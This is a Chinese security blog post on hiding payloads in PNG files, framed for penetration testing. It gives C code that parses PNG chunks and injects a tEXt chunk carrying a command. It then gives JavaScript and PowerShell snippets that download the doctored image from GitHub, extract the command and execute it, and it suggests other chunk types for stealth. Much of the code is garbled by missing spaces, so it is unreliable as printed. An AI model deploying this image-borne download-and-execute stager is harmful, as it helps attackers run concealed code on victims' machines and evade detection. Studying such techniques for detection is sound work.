隐写技巧:利用PNG文件格式隐藏Payload - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

隐写技巧:利用PNG文件格式隐藏Payload

3gstudent 技术 2016-08-20 15:03:42
297825
收藏

导语:隐写术(Steganography)由来已久,其中有很多好玩儿的细节,所以打算系统的研究一下,这次先从PNG的文件格式开始。

前言

隐写术(Steganography)由来已久,其中有很多好玩儿的细节,所以打算系统的研究一下,这次先从PNG的文件格式开始。

图片来自于http://null-byte.wonderhowto.com/how-to/guide-steganography-part-1-hide-secret-messages-images-0130797/


简介


隐写术可以理解为信息隐藏,在渗透测试中最主要的应用是对Payload的隐藏。本文会对PNG的文件格式进行分析,编写c程序实现自动解析文件格式,并按照其文件格式添加自定义的payload,不仅不会影响图片的正常浏览,同时可将图片上传到网络,使用时将图片下载再以特定格式解密,最终执行payload。

注:所有程序源码已上传github,地址为: https://github.com/3gstudent/PNG-Steganography


PNG文件格式


1、PNG文件署名域

前8字节

固定格式,16进制为: 89 504e 47 0d 0a 1a 0a

2、数据块

Chunk Type Code(数据块类型码): 4字节,数据块类型码
Chunk Data(数据块数据): 可变长度,存储数据
CRC(循环冗余检测): 4字节,存储用来检测是否有错误的循环冗余码

数据块类型:

1. 关键数据块(criticalchunk)

(1) 文件头数据块IHDR(headerchunk) - 包含PNG文件的基本信息 - 一个PNG数据流中只能有一个IHDR - 必须在PNG文件最前面
(2) 调色板数据块PLTE(palettechunk) - 包含有与索引彩色图像(indexed-color image)相关的彩色变换数据 - 必须在IDAT之前
(3) 图像数据块IDAT(imagedata chunk) - 存储实际的数据 - 可存在多个 -必须与其他IDAT连续
(4) 图像结束数据IEND(imagetrailer chunk) - 固定格式,16进制为: 0000 00 00 49 45 4E 44 AE 42 60 82 - 必须在PNG文件最尾部

2. 辅助数据块(ancillarychunk)

用于辅助指示PNG图像中的层、文字等信息

可删除,不影响图片浏览,但图像将失去原来的可编辑性

(1) 背景颜色数据块bKGD(backgroundcolor)
(2) 基色和白色度数据块cHRM(primarychromaticities and white point)
(3) 图像γ数据块gAMA(image gamma)
(4) 图像直方图数据块hIST(imagehistogram)
(5) 物理像素尺寸数据块pHYs(physicalpixel dimensions)
(6) 样本有效位数据块sBIT(significantbits)
(7) 文本信息数据块tEXt(textualdata)
(8) 图像最后修改时间数据块tIME(image last-modification time)
(9) 图像透明数据块tRNS(transparency)
(10) 压缩文本数据块zTXt(compressed textual data)

实例格式分析

工具:Hex Editor

优点:可对16进制字符串进行标记,设置颜色,方便格式分析

测试文件:如图

源下载地址:http://www.easyicon.net/language.en/1172671-png_icon.html

标记好的文件格式如图

1483600116330102.jpg

###(1) PNG文件署名域

固定格式:

89 50 4e 47 0d 0a 1a 0a ###(2) IHDR
00000008h: 00 00 00 0D 49 48 44 52 00 00 001A 00 00 00 1A ; ….IHDR…….. 00000018h: 08 04 00 00 00 03 43 84 45 ; ……C凟

数据块结构:

Length: 00 00 00 0D

前4字节,定义长度,00 00 000D十进制为13,代表长度为13个字节

Chunk Type Code: 4948 44 52

4字节,定义数据块类型码,此处为IHDR

Chunk Data: 00 0000 1A 00 00 00 1A 08 04 00 00 00

共13字节,定义数据内容

CRC: 4字节,对Chunk Type Code+Chunk Data作CRC32计算得出的值

即对以下十六进制作计算: 49 48 44 52 00 00 00 1A 00 0000 1A 08 04 00 00 00

编写程序对CRC算法进行验证,保存为example1.cpp,源代码如下:

#include <string.h>
unsigned int GetCrc32(char* InStr,unsignedint len){       
 unsigned int Crc32Table[256];     
  inti,j;       
 unsigned int Crc;       
  for(i = 0; i < 256; i++){       
            Crc= i;       
            for(j = 0; j < 8; j++){       
              if (Crc & 1)       
                        Crc= (Crc >> 1) ^ 0xEDB88320;       
              else      
                        Crc>>= 1;     
            }       
            Crc32Table[i]= Crc;       
 }       
 Crc=0xffffffff;       
  for(intm=0; m<len; m++){         
            Crc= (Crc >> 8) ^ Crc32Table[(Crc & 0xFF) ^ InStr[m]];       
 }    
  Crc^= 0xFFFFFFFF;    
 return Crc;       
}       
int main(int argc, char* argv[])
{
            charbuf[17]={0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x1A,0x00,0x00,0x00,0x1A,0x08,0x04,0x00,0x00,0x00};
            unsignedint crc32=GetCrc32(buf,sizeof(buf));
            printf("%08X\n",crc32);
            return0;
}

运行后如图,输出03438445,同文件中的CRC32校验码相同

(2) gAMA

00000021h: 00 00 00 04 67 41 4D 41 00 00 B18F 0B FC 61 05 ; ….gAMA..睆.黙.

数据块结构:

Length: 00 00 00 04
Chunk Type Code: 6741 4D 41
Chunk Data: 00 00B1 8F
CRC: 0B FC 61 05

(3) cHRM

00000031h: 00 00 00 20 63 48 52 4D 00 00 7A26 00 00 80 84 ; … cHRM..z&..€? 00000041h: 00 00 FA 00 00 00 80 E8 00 00 7530 00 00 EA 60 ; ..?..€?.u0..阘 00000051h: 00 00 3A 9800 00 17 70 9C BA 51 3C ; ..:?..p満Q<

数据块结构:

Length: 00 00 00 20
Chunk Type Code: 6348 52 4D
Chunk Data: 00 007A 26 00 00 80 84 00 00 FA 00 00 00 80 E8 00 00 75 30 00 00 EA 60 00 00 3A 9800 00 17 70
CRC: 9C BA 51 3C

(4) IDAT

(5-14) tEXt

(15)IEND

数据块结构:

Length: 00 00 00 00
Chunk Type Code: 4945 4E 44
Chunk Data:
CRC: AE 42 60 82

固定结构,CRC的值为对ChunkType Code作CRC32校验

编写程序分析文件格式

开发工具:vc6.0

1、读取PNG文件

保存为example2.cpp,代码如下:

#include<stdio.h>
#include<string.h>
int main(int argc, char* argv[])
{
            FILE*fp;  
            if((fp=fopen("c:\\test\\test.png","rb+"))==NULL)
                        return0;  
            fseek(fp,0,SEEK_END);
            intlen=ftell(fp);
            unsignedchar *buf=new unsigned char[len];     
            fseek(fp,0,SEEK_SET);
            fread(buf,len,1,fp);
            printf("len=%d\n",len);
            for(inti=1;i<=len;i++)
            {
                        printf("%02X",buf[i-1]);
                        if(i%16==0)
                                    printf("\n");
            }
            fclose(fp);
            printf("\n");
            return0;        
}

如图,程序按照UltraEdit的格式输出,以便后续的格式分析

2、解析数据块结构

从第8字节开始,读前四字节为ChunkLength

对应的代码为:

unsigned intChunkLen=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];

接着四字节为ChunkName

printf("ChunkName:%c%c%c%c\n",buf[0],buf[1],buf[2],buf[3]);

然后根据ChunkLength读出完整的ChunkData

最后读出CRC32的值,同Chunk Type Code+Chunk Data求出的CRC32校验值作比较

保存为check.cpp,完整代码如下:

#include<stdio.h>
#include<string.h>
unsigned int GetCrc32(unsigned char*InStr,unsigned int len){       
            unsignedint Crc32Table[256];     
            unsignedint i,j;       
            unsignedint Crc;       
            for(i = 0; i < 256; i++){       
                        Crc= i;       
                        for(j = 0; j < 8; j++){       
                                    if(Crc & 1)       
                                                Crc= (Crc >> 1) ^ 0xEDB88320;       
                                    else      
                                                Crc>>= 1;     
                        }       
                        Crc32Table[i]= Crc;       
            }       
            Crc=0xffffffff;       
            for(unsignedint m=0; m<len; m++){         
                        Crc= (Crc >> 8) ^ Crc32Table[(Crc & 0xFF) ^ InStr[m]];       
            }    
            Crc^= 0xFFFFFFFF;    
            returnCrc;       
}       
int main(int argc, char* argv[])
{
            FILE*fp;  
            unsignedchar *buf=NULL;
            unsignedint len=0;
            unsignedint ChunkLen=0;
            unsignedint ChunkCRC32=0;
            unsignedint ChunkOffset=0;        
            unsignedint crc32=0;
            unsignedint i=0;
            if((fp=fopen("c:\\test\\test.png","rb+"))==NULL)
                        return0;  
            fseek(fp,0,SEEK_END);
            len=ftell(fp);
            buf=newunsigned char[len];
            fseek(fp,0,SEEK_SET);
            fread(buf,len,1,fp);
            printf("TotalLen=%d\n",len);
            printf("----------------------------------------------------\n");
            fseek(fp,8,SEEK_SET);
            ChunkOffset=8;
            i=0;
            while(1)
            {
                        i++;
                        memset(buf,0,len);
                        fread(buf,4,1,fp);
                        ChunkLen=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];
                        fread(buf,4+ChunkLen,1,fp);
                        printf("[+]ChunkName:%c%c%c%c                 ",buf[0],buf[1],buf[2],buf[3]);
                        if(strncmp((char*)buf,"IHDR",4)==0|strncmp((char*)buf,"PLTE",4)==0|strncmp((char *)buf,"IDAT",4)==0)
                                    printf("PaletteChunk\n");
                        printf("AncillaryChunk\n");
                        printf("   ChunkOffset:0x%08x       \n",ChunkOffset);
                        printf("   ChunkLen: %10d              \n",ChunkLen);
                        ChunkOffset+=ChunkLen+12;
                        crc32=GetCrc32(buf,ChunkLen+4);
                        printf("   ExpectCRC32:%08X\n",crc32);
                        fread(buf,4,1,fp);
                        ChunkCRC32=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];
                        printf("   ChunkCRC32: %08X                     ",ChunkCRC32);
                        if(crc32!=ChunkCRC32)
                                    printf("[!]CRC32CheckError!\n");
                        else
                                    printf("CheckSuccess!\n\n");
                        ChunkLen=ftell(fp);
                        if(ChunkLen==(len-12))
                        {
                                    printf("\n----------------------------------------------------\n");
                                    printf("TotalChunk:%d\n",i);                       
                                    break;
                        }
            }
            fclose(fp);
            return0;        
}

运行如图,可获得完整的PNG文件结构

注:这个程序可用来对PNG文件进行格式分析,标记PNG文件的数据块名称、偏移地址、数据块长度、比较预期和实际的CRC32校验码,可基于此对批量文件进行分析,查找可疑文件。

去除多余数据

上面提到,去除辅助数据块的内容对PNG图像的浏览没有影响,下面就尝试去除PNG文件的所有辅助数据块

### 1、工具实现

如图,使用Hex Editor去除辅助数据块gAMA、cHRM和bKGD

如图,文件大小变化,但不影响PNG文件浏览

2、程序实现

去除所有辅助数据块,只提取关键信息。程序先对ChunkName作判断,忽略非关键数据块(Ancillary Chunk)的内容,并保存为new.png

保存为compress.cpp,完整代码为:

#include<stdio.h>
#include<string.h>
unsigned int GetCrc32(unsignedchar*InStr,unsigned int len){       
           unsignedint Crc32Table[256];     
           unsignedint i,j;       
           unsignedint Crc;       
           for(i = 0; i < 256; i++){       
                       Crc= i;       
                       for (j = 0;j < 8; j++){       
                                   if(Crc & 1)       
                                               Crc= (Crc >> 1) ^ 0xEDB88320;       
                                   else      
                                               Crc>>= 1;     
                       }       
                       Crc32Table[i]= Crc;       
           }       
           Crc=0xffffffff;       
           for(unsignedint m=0; m<len; m++){         
                       Crc= (Crc >> 8) ^ Crc32Table[(Crc & 0xFF) ^InStr[m]];       
           }    
           Crc^= 0xFFFFFFFF;    
           returnCrc;       
}       
int main(int argc, char* argv[])
{
           FILE*fp,*fpnew;  
           unsignedchar *buf=NULL;
           unsignedint len=0;
           unsignedint ChunkLen=0;
           unsignedint ChunkCRC32=0;
           unsignedint ChunkOffset=0;        
           unsignedint crc32=0;
           unsignedint i=0,j=0;
           unsignedcharSignature[8]={0x89,0x50,0x4e,0x47,0x0d,0x0a,0x1a,0x0a};         
           unsignedchar IEND[12]={0x00,0x00,0x00,0x00,0x49,0x45,0x4e,0x44,0xae,0x42,0x60,0x82};       
           if((fp=fopen("c:\\test\\0.png","rb+"))==NULL)
                       return0; 
           if((fpnew=fopen("c:\\test\\new.png","wb"))==NULL)
                       return0; 
           fseek(fp,0,SEEK_END);
           len=ftell(fp);
           buf=newunsigned char[len];
           fseek(fp,0,SEEK_SET);
           fread(buf,len,1,fp);
           printf("TotalLen=%d\n",len);
           printf("----------------------------------------------------\n");
           fseek(fp,8,SEEK_SET);
           ChunkOffset=8;
           i=0;
           fwrite(Signature,8,1,fpnew);
           while(1)
           {
                       i++;
                       j=0;
                       memset(buf,0,len);
                       fread(buf,4,1,fp);
                      fwrite(buf,4,1,fpnew);
                       ChunkLen=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];
                       fread(buf,4+ChunkLen,1,fp);
                       printf("[+]ChunkName:%c%c%c%c                ",buf[0],buf[1],buf[2],buf[3]);
                       if(strncmp((char*)buf,"IHDR",4)==0|strncmp((char*)buf,"PLTE",4)==0|strncmp((char*)buf,"IDAT",4)==0)
                       {          
                                   printf("PaletteChunk\n");
                                   fwrite(buf,4+ChunkLen,1,fpnew);
                       }
                       else
                       {
                                   printf("AncillaryChunk\n");
                                   fseek(fpnew,-4,SEEK_CUR);
                                   j=1;
                       }
                       printf("  ChunkOffset:0x%08x       \n",ChunkOffset);
                       printf("   ChunkLen:%10d             \n",ChunkLen);
                       crc32=GetCrc32(buf,ChunkLen+4);
                       printf("   ExpectCRC32:%08X\n",crc32);
                       fread(buf,4,1,fp);
                       ChunkCRC32=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];
                       printf("   ChunkCRC32:%08X                    ",ChunkCRC32);
                       if(crc32!=ChunkCRC32)
                                   printf("[!]CRC32CheckError!\n");
                       else
                       {
                                   printf("CheckSuccess!\n\n");
                                   if(j==0)
                                               fwrite(buf,4,1,fpnew);
                       }
                       ChunkLen=ftell(fp);
                       if(ChunkLen==(len-12))
                       {
                                   printf("\n----------------------------------------------------\n");
                                   printf("TotalChunk:%d\n",i);                       
                                   break;
                       }
           }
           fwrite(IEND,12,1,fpnew);
           fclose(fp);
           fclose(fpnew);
           return0;        
}

如图,左边为原始PNG文件大小,右边为去掉所有辅助数据块后的文件,仍然可以正常浏览

0f61414c20dee69b9b06b0d5f03064fe.png

写入Payload

实例:按照辅助数据块的格式写入Payload

写入的Payload为:calc.exe

辅助数据块设置为:tEXt

对应的完整数据块结构如下:

Length:   0000 00 08
Chunk Type Code: 74 45 58 74
Chunk Data:63 61 6c 632e 65 78 65
CRC:fa c4 08 76

写入的十六进制数据如下:

00 00 00 08 74 45 58 74 63 61 6c 63 2e 6578 65 fa c4 08 76

注: 本实例仅作演示,实际使用可换成其他数据块,更加隐蔽

1、工具实现

使用Hex Editor插入数据,如图

保存后,不影响PNG文件浏览

2、程序实现

去掉PNG文件所有的辅助数据块后,写入payload数据块tEXt

保存为addpayload.cpp,完整代码:

#include<stdio.h>
#include<string.h>
unsigned int GetCrc32(unsigned char*InStr,unsigned int len){       
            unsignedint Crc32Table[256];     
            unsignedint i,j;       
            unsignedint Crc;       
            for(i = 0; i < 256; i++){       
                        Crc= i;       
                        for(j = 0; j < 8; j++){       
                                    if(Crc & 1)       
                                                Crc= (Crc >> 1) ^ 0xEDB88320;       
                                    else      
                                                Crc>>= 1;     
                        }       
                        Crc32Table[i]= Crc;       
            }       
            Crc=0xffffffff;       
            for(unsignedint m=0; m<len; m++){         
                        Crc= (Crc >> 8) ^ Crc32Table[(Crc & 0xFF) ^ InStr[m]];       
            }    
            Crc^= 0xFFFFFFFF;    
            returnCrc;       
}       
void convertStrToUnChar(char* str, unsignedchar* UnChar) 
{ 
            inti = strlen(str), j = 0, counter = 0; 
            charc[2]; 
            unsignedint bytes[2]; 
            for(j = 0; j < i; j += 2)  
            { 
                        if(0== j % 2) 
                        { 
                                    c[0]= str[j]; 
                                    c[1]= str[j + 1]; 
                                    sscanf(c,"%02x" , &bytes[0]); 
                                    UnChar[counter]= bytes[0]; 
                                    counter++; 
                        } 
            } 
            return; 
}    
void AddPayload(FILE *fp)
{
            char*Payload="calc.exe";
            unsignedchar *buf;
            intlen;
            intcrc32;
            len=strlen(Payload);
            buf=newunsigned char[len+12];
            buf[0]=len>>24&0xff;
            buf[1]=len>>16&0xff;
            buf[2]=len>>8&0xff;
            buf[3]=len&0xff;
            buf[4]='t';
            buf[5]='E';
            buf[6]='X';
            buf[7]='t';
            for(intj=0;j<len;j++)
                        buf[j+8]=Payload[j];
            buf[len+8]=0XFA;
            buf[len+9]=0XC4;
            buf[len+10]=0X08;
            buf[len+11]=0X76;
            fwrite(buf,len+12,1,fp);
}
int main(int argc, char* argv[])
{
            FILE*fp,*fpnew;  
            unsignedchar *buf=NULL;
            unsignedint len=0;
            unsignedint ChunkLen=0;
            unsignedint ChunkCRC32=0;
            unsignedint ChunkOffset=0;        
            unsignedint crc32=0;
            unsignedint i=0,j=0;
            unsignedchar Signature[8]={0x89,0x50,0x4e,0x47,0x0d,0x0a,0x1a,0x0a};         
            unsignedchar IEND[12]={0x00,0x00,0x00,0x00,0x49,0x45,0x4e,0x44,0xae,0x42,0x60,0x82};        
            if((fp=fopen("c:\\test\\test.png","rb+"))==NULL)
                        return0; 
            if((fpnew=fopen("c:\\test\\new.png","wb"))==NULL)
                        return0;  
            fseek(fp,0,SEEK_END);
            len=ftell(fp);
            buf=newunsigned char[len];
            fseek(fp,0,SEEK_SET);
            fread(buf,len,1,fp);
            printf("TotalLen=%d\n",len);
            printf("----------------------------------------------------\n");
            fseek(fp,8,SEEK_SET);
            ChunkOffset=8;
            i=0;
            fwrite(Signature,8,1,fpnew);
            while(1)
            {
                        i++;
                        j=0;
                        memset(buf,0,len);
                        fread(buf,4,1,fp);
                        fwrite(buf,4,1,fpnew);
                        ChunkLen=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];
                        fread(buf,4+ChunkLen,1,fp);
                        printf("[+]ChunkName:%c%c%c%c                 ",buf[0],buf[1],buf[2],buf[3]);
                        if(strncmp((char*)buf,"IHDR",4)==0|strncmp((char*)buf,"PLTE",4)==0|strncmp((char *)buf,"IDAT",4)==0)
                        {          
                                    printf("PaletteChunk\n");
                                    fwrite(buf,4+ChunkLen,1,fpnew);
                        }
                        else
                        {
                                    printf("AncillaryChunk\n");
                                    fseek(fpnew,-4,SEEK_CUR);
                                    j=1;
                        }
                        printf("   ChunkOffset:0x%08x       \n",ChunkOffset);
                        printf("   ChunkLen: %10d              \n",ChunkLen);
                        crc32=GetCrc32(buf,ChunkLen+4);
                        printf("   ExpectCRC32:%08X\n",crc32);
                        fread(buf,4,1,fp);
                        ChunkCRC32=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];
                        printf("   ChunkCRC32: %08X                     ",ChunkCRC32);
                        if(crc32!=ChunkCRC32)
                                    printf("[!]CRC32CheckError!\n");
                        else
                        {
                                    printf("CheckSuccess!\n\n");
                                    if(j==0)
                                                fwrite(buf,4,1,fpnew);
                        }
                        ChunkLen=ftell(fp);
                        if(ChunkLen==(len-12))
                        {
                                    printf("\n----------------------------------------------------\n");
                                    printf("TotalChunk:%d\n",i);                       
                                    break;
                        }
            }
            AddPayload(fpnew);
            fwrite(IEND,12,1,fpnew);
            fclose(fp);
            fclose(fpnew);
            return0;        
}

使用check.cpp对其进行校验,如图,校验成功

读取payload并执行

将添加payload的图片上传至github,在客户端实现读取图片解析payload并执行:

1、javascript

h = newActiveXObject("WinHttp.WinHttpRequest.5.1");
h.SetTimeouts(0, 0, 0, 0);
h.Open("GET","https://raw.githubusercontent.com/3gstudent/PNG-Steganography/master//new.png",false);
h.Send();
Data = h.ResponseText;
x=Data.indexOf("tEXt");
y=Data.indexOf("IEND");
str=Data.substring(x+4,y-8);
newActiveXObject("WScript.Shell").Run(str);

2、powershell

$url = 'https://raw.githubusercontent.com/3gstudent/PNG-Steganography/master/new.png'
$request = New-Object System.Net.WebCLient
$bytes = $request.DownloadString($url)
$x=$bytes.indexof("tEXt")
$y=$bytes.indexof("IEND")
$str=$bytes.Substring($x+4,$y-$x-12)
Start-Process -FilePath $str

注:这里给出两种方法,仅作演示

小结

本文详细介绍分析了PNG文件的格式,编写程序实现以下功能:

自动解析PNG文件格式,辅助查找其中的隐藏内容

添加Payload

下载PNG图片解析并执行payload

(完)

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务